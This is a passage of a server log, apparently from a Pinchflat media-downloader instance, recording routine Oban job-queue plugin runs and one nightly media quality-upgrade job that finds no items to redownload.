{"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:38:00.375 [info] {"source":"oban","duration":230,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:38:14.302 [info] {"source":"oban","duration":702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:38:44.303 [info] {"source":"oban","duration":645,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:39:00.376 [info] {"source":"oban","duration":211,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:39:14.304 [info] {"source":"oban","duration":604,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:39:44.305 [info] {"source":"oban","duration":612,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:40:00.377 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:40:14.306 [info] {"source":"oban","duration":693,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:40:44.307 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:41:00.378 [info] {"source":"oban","duration":229,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:41:14.308 [info] {"source":"oban","duration":590,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:41:44.309 [info] {"source":"oban","duration":702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:42:00.379 [info] {"source":"oban","duration":217,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:42:14.310 [info] {"source":"oban","duration":593,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:42:44.311 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:43:00.380 [info] {"source":"oban","duration":174,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:43:14.312 [info] {"source":"oban","duration":721,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:43:44.313 [info] {"source":"oban","duration":650,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:44:00.381 [info] {"source":"oban","duration":275,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:44:14.314 [info] {"source":"oban","duration":680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:44:44.314 [info] {"source":"oban","duration":485,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:45:00.382 [info] {"source":"oban","duration":164,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:45:14.316 [info] {"source":"oban","duration":623,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:45:44.317 [info] {"source":"oban","duration":642,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:46:00.383 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:46:14.318 [info] {"source":"oban","duration":668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:46:44.319 [info] {"source":"oban","duration":609,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:47:00.384 [info] {"source":"oban","duration":214,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:47:14.320 [info] {"source":"oban","duration":746,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:47:44.321 [info] {"source":"oban","duration":618,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:48:00.385 [info] {"source":"oban","duration":248,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:48:14.322 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:48:44.323 [info] {"source":"oban","duration":914,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:49:00.386 [info] {"source":"oban","duration":217,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:49:14.325 [info] {"source":"oban","duration":608,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:49:44.326 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:50:00.387 [info] {"source":"oban","duration":161,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:50:14.327 [info] {"source":"oban","duration":621,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:50:44.328 [info] {"source":"oban","duration":685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:51:00.388 [info] {"source":"oban","duration":184,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:51:14.329 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:51:44.330 [info] {"source":"oban","duration":815,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:52:00.389 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:52:14.331 [info] {"source":"oban","duration":629,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:52:44.332 [info] {"source":"oban","duration":724,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:53:00.391 [info] {"source":"oban","duration":350,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:53:14.334 [info] {"source":"oban","duration":715,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:53:44.335 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:54:00.391 [info] {"source":"oban","duration":229,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:54:14.336 [info] {"source":"oban","duration":701,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:54:44.337 [info] {"source":"oban","duration":690,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:55:00.392 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:55:14.338 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:55:44.339 [info] {"source":"oban","duration":720,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:56:00.393 [info] {"source":"oban","duration":273,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:56:14.341 [info] {"source":"oban","duration":815,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:56:44.343 [info] {"source":"oban","duration":728,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:57:00.394 [info] {"source":"oban","duration":176,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:57:14.344 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:57:44.345 [info] {"source":"oban","duration":763,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:58:00.395 [info] {"source":"oban","duration":218,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:58:14.347 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:58:44.348 [info] {"source":"oban","duration":712,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:59:00.396 [info] {"source":"oban","duration":175,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:59:14.349 [info] {"source":"oban","duration":705,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:59:44.350 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:00:00.398 [info] {"source":"oban","duration":1320,"event":"plugin:stop","jobs":[1693],"plugin":"Oban.Plugins.Cron"} 22:00:00.405 [info] {"args":{},"id":1693,"meta":{"cron":true,"cron_expr":"0 2 * * *","cron_tz":"Etc/UTC"},"system_time":1774749600405389505,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaQualityUpgradeWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:00:00.416 [debug] QUERY OK source="media_items" db=10.4ms queue=0.1ms idle=362.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((NOT (m0."media_filepath" IS NULL) AND NOT (m0."prevent_download" = 1)) AND NOT (NOT (m0."media_redownloaded_at" IS NULL))) AND IFNULL(redownload_delay_days, 0) > 0 AND DATE('now', '-' || redownload_delay_days || ' day') > DATE(uploaded_at) AND DATE(media_downloaded_at, '-' || redownload_delay_days || ' day') < DATE(uploaded_at) ) [] 22:00:00.416 [info] Redownloading 0 media items 22:00:00.416 [info] {"args":{},"id":1693,"meta":{"cron":true,"cron_expr":"0 2 * * *","cron_tz":"Etc/UTC"},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaQualityUpgradeWorker","source":"oban","duration":11136,"event":"job:stop","queue_time":404477,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:00:14.351 [info] {"source":"oban","duration":767,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:00:44.352 [info] {"source":"oban","duration":689,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:01:00.399 [info] {"source":"oban","duration":289,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:01:14.353 [info] {"source":"oban","duration":620,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:01:44.354 [info] {"source":"oban","duration":702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:02:00.400 [info] {"source":"oban","duration":178,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:02:14.355 [info] {"source":"oban","duration":995,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:02:44.357 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:03:00.401 [info] {"source":"oban","duration":215,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:03:14.359 [info] {"source":"oban","duration":633,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:03:44.360 [info] {"source":"oban","duration":830,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:04:00.402 [info] {"source":"oban","duration":218,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:04:14.362 [info] {"source":"oban","duration":598,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:04:44.363 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:05:00.403 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:05:14.365 [info] {"source":"oban","duration":677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:05:44.366 [info] {"source":"oban","duration":949,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:06:00.404 [info] {"source":"oban","duration":242,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:06:14.368 [info] {"source":"oban","duration":876,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:06:44.370 [info] {"source":"oban","duration":689,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:07:00.405 [info] {"source":"oban","duration":227,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:07:14.371 [info] {"source":"oban","duration":733,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:07:44.372 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:08:00.406 [info] {"source":"oban","duration":228,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:08:14.373 [info] {"source":"oban","duration":656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:08:44.374 [info] {"source":"oban","duration":724,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:09:00.407 [info] {"source":"oban","duration":282,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:09:14.375 [info] {"source":"oban","duration":764,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:09:44.376 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:10:00.408 [info] {"source":"oban","duration":181,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:10:14.377 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:10:44.378 [info] {"source":"oban","duration":699,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:11:00.409 [info] {"source":"oban","duration":216,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:11:14.379 [info] {"source":"oban","duration":721,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:11:44.380 [info] {"source":"oban","duration":586,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:12:00.412 [info] {"source":"oban","duration":1678,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:12:14.381 [info] {"source":"oban","duration":733,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:12:44.382 [info] {"source":"oban","duration":607,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:13:00.412 [info] {"source":"oban","duration":224,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:13:14.383 [info] {"source":"oban","duration":875,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:13:44.385 [info] {"source":"oban","duration":740,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:14:00.413 [info] {"source":"oban","duration":175,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:14:14.386 [info] {"source":"oban","duration":792,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:14:44.387 [info] {"source":"oban","duration":700,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:15:00.414 [info] {"source":"oban","duration":175,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:15:14.388 [info] {"source":"oban","duration":740,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:15:44.389 [info] {"source":"oban","duration":747,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:16:00.415 [info] {"source":"oban","duration":391,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:16:14.390 [info] {"source":"oban","duration":895,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:16:44.392 [info] {"source":"oban","duration":600,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:17:00.416 [info] {"source":"oban","duration":198,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:17:14.393 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:17:44.393 [info] {"source":"oban","duration":493,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:18:00.417 [info] {"source":"oban","duration":167,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:18:14.395 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:18:44.396 [info] {"source":"oban","duration":723,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:19:00.418 [info] {"source":"oban","duration":266,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:19:14.397 [info] {"source":"oban","duration":722,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:19:44.398 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:20:00.420 [info] {"source":"oban","duration":371,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:20:14.399 [info] {"source":"oban","duration":753,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:20:44.400 [info] {"source":"oban","duration":871,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:21:00.420 [info] {"source":"oban","duration":172,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:21:14.402 [info] {"source":"oban","duration":737,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:21:44.403 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:22:00.421 [info] {"source":"oban","duration":207,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:22:14.404 [info] {"source":"oban","duration":599,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:22:44.405 [info] {"source":"oban","duration":753,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:23:00.422 [info] {"source":"oban","duration":245,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:23:14.406 [info] {"source":"oban","duration":598,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:23:44.407 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:24:00.423 [info] {"source":"oban","duration":228,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:24:14.408 [info] {"source":"oban","duration":689,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:24:44.409 [info] {"source":"oban","duration":701,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:25:00.424 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:25:14.410 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:25:44.411 [info] {"source":"oban","duration":597,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:26:00.425 [info] {"source":"oban","duration":224,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:26:14.412 [info] {"source":"oban","duration":827,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:26:44.413 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:27:00.426 [info] {"source":"oban","duration":225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:27:14.414 [info] {"source":"oban","duration":661,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:27:44.415 [info] {"source":"oban","duration":621,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:28:00.427 [info] {"source":"oban","duration":209,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:28:14.416 [info] {"source":"oban","duration":825,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:28:44.418 [info] {"source":"oban","duration":717,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:29:00.428 [info] {"source":"oban","duration":182,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:29:14.419 [info] {"source":"oban","duration":828,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:29:44.421 [info] {"source":"oban","duration":680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:30:00.429 [info] {"source":"oban","duration":161,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:30:14.422 [info] {"source":"oban","duration":725,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:30:44.423 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:31:00.430 [info] {"source":"oban","duration":236,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:31:14.424 [info] {"source":"oban","duration":706,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:31:44.425 [info] {"source":"oban","duration":624,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:32:00.431 [info] {"source":"oban","duration":225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:32:14.426 [info] {"source":"oban","duration":679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:32:44.427 [info] {"source":"oban","duration":655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:33:00.432 [info] {"source":"oban","duration":174,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:33:14.428 [info] {"source":"oban","duration":629,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:33:44.428 [info] {"source":"oban","duration":525,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:34:00.433 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:34:14.430 [info] {"source":"oban","duration":639,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:34:44.431 [info] {"source":"oban","duration":613,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:35:00.434 [info] {"source":"oban","duration":263,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:35:14.432 [info] {"source":"oban","duration":652,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:35:44.433 [info] {"source":"oban","duration":714,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:36:00.435 [info] {"source":"oban","duration":178,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:36:14.434 [info] {"source":"oban","duration":931,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:36:44.436 [info] {"source":"oban","duration":643,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:37:00.436 [info] {"source":"oban","duration":173,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:37:14.437 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:37:44.438 [info] {"source":"oban","duration":640,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:38:00.437 [info] {"source":"oban","duration":218,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:38:14.439 [info] {"source":"oban","duration":628,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:38:44.440 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:39:00.438 [info] {"source":"oban","duration":217,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:39:14.441 [info] {"source":"oban","duration":648,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:39:44.442 [info] {"source":"oban","duration":649,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:40:00.439 [info] {"source":"oban","duration":224,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:40:14.443 [info] {"source":"oban","duration":661,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:40:44.444 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:41:00.440 [info] {"source":"oban","duration":173,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:41:14.445 [info] {"source":"oban","duration":662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:41:44.446 [info] {"source":"oban","duration":701,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:42:00.441 [info] {"source":"oban","duration":271,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:42:14.447 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:42:44.448 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:43:00.442 [info] {"source":"oban","duration":215,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:43:14.449 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:43:44.450 [info] {"source":"oban","duration":651,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:44:00.443 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:44:14.451 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:44:44.452 [info] {"source":"oban","duration":587,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:45:00.444 [info] {"source":"oban","duration":233,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:45:14.453 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:45:44.454 [info] {"source":"oban","duration":791,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:46:00.445 [info] {"source":"oban","duration":162,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:46:14.455 [info] {"source":"oban","duration":693,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:46:44.456 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:47:00.446 [info] {"source":"oban","duration":191,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:47:14.457 [info] {"source":"oban","duration":712,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:47:44.458 [info] {"source":"oban","duration":729,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:48:00.447 [info] {"source":"oban","duration":226,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:48:14.459 [info] {"source":"oban","duration":700,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:48:44.460 [info] {"source":"oban","duration":544,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:49:00.448 [info] {"source":"oban","duration":104,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:49:14.461 [info] {"source":"oban","duration":625,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:49:44.462 [info] {"source":"oban","duration":491,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:50:00.449 [info] {"source":"oban","duration":178,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:50:14.463 [info] {"source":"oban","duration":625,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:50:44.464 [info] {"source":"oban","duration":627,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:51:00.450 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:51:14.465 [info] {"source":"oban","duration":689,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:51:44.466 [info] {"source":"oban","duration":668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:52:00.451 [info] {"source":"oban","duration":251,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 22:52:14.467 [info] 